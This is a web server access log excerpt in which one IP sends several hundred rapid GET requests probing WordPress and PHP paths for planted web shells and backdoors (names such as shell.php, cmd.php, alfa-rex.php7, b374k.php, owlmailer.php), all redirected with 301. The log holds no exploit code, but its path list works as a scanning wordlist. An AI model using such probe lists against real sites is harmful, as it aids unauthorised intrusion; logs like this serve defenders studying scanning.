[14/Apr/2025:03:02:36 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:38 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:38 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:39 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:41 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:41 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:42 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:43 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:45 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:46 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:48 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:50 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:50 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:53 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:54 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:55 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:56 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:57 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:57 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:58 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:59 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:00 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:00 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:01 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:02 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:03 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:06 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:08 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:10 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:12 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:13 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:16 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:21 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:28 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:32 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:35 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:38 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:42 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:45 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:46 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:52 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:56 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:03:58 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:03 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:06 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:07 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:10 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:13 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:14 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:18 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:19 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:19 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:21 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:21 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:23 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:25 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:27 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:28 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:30 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:31 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:32 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:32 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:34 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:35 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:36 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:38 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:39 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:40 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:41 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:41 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:42 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:42 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:43 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:43 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:44 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:45 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:46 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:47 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:47 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:48 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:51 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:52 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:54 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:54 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:55 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:57 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:58 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:04:59 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:00 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:01 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:03 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:03 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:07 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:11 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:13 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:16 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:17 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:20 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:21 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:22 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:24 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:25 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:26 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:27 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:28 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:29 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:29 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:29 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:30 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:32 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:34 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:34 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:35 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:35 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:37 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:39 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:40 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:40 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:41 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:43 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:43 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:45 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:46 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:47 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:48 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:48 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:50 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:50 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:51 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:52 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:53 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:53 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:54 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:54 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:55 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:55 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:56 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:56 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:57 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:05:59 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:00 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:01 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:02 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:03 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:04 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:05 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:06 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:06 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:09 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:13 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:17 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:19 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:21 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:21 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:22 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:23 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:24 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:26 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:28 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:29 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:31 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:31 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:32 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:33 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:33 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:35 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:37 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:38 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:39 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:40 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:42 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:42 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:44 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:46 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:46 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:47 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:47 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:49 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:50 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:53 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:53 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:54 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:55 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:56 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:56 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:57 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:58 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:58 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:59 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:06:59 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:01 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:03 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:04 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:07 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:07 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:08 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:10 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:12 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:31 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:32 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:33 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:33 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:34 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:35 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:37 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:38 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:39 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:40 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:40 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:41 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:42 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:43 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:43 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:43 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:44 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:44 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:45 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:45 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:46 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:47 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:47 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:48 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:49 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - 